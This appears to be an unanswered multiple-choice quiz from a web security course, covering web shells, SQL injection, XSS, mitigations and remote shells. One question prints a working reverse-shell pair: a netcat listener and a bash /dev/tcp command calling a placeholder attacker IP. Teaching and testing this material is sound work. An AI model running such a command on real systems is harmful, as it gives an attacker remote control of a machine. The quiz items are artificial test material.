IAW301 Fun Fun

A malicious piece of code (e.g. PHP, Python, Ruby) that can be uploaded to a site to gain access to files stored on that site. Once it is uploaded, the hacker can use it to edit, delete, or download any files on the site, or upload their own.

• Backdoor Shell

• Reverse Shell

• Code Shell

• Bind Shell

Common form of SQLi which evade the login form

• Logic Bypass

• Authentication Bypass

• Authorization Bypass

• Login Bypass

Which mitigation technique helps you tell the parser that a speciffic character is a literal and not a control character?

• URL Encode

• Whitelist

• Blacklist

• Escaping

Which of the following languages is the primary target of cross-site scripting?

• C/C++

• HTML

• Javascript

• CSS

Which Metasploit's payload can be used to connect to NetCat listener on vulnerable server ?

• linux/x86/adduser

• linux/x86/readfile

• linux/x86/shell/bind_tcp

• None of others

Which mitigation technique helps you to prevent SQL Injection?

• Filtering

• Prepared Statements

• Escaping

• URL Encoding

______ is possible when an attacker uses a vulnerable website or web application to inject malicious code which is stored and later automatically served to other users who visit the web page.

• Reflected XSS

• Stored XSS

• DOM XSS

• None of others

_____ provides access to database metadata, information about the MySQL server such as the name of a database or table, the data type of a column, or access privileges.

• sys

• information_schema

• mysql

• performance_schema

Attacker: $ nc -lvnp 4444

Victim: $ /bin/bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1

What type of remote shell is this?

• Reverse Shell

• Bind Shell

• Bash Shell

• Interactive Shell

What is the impact of SQL Injection?

• Shutdown server

• Data Mining

• RCE

• All of others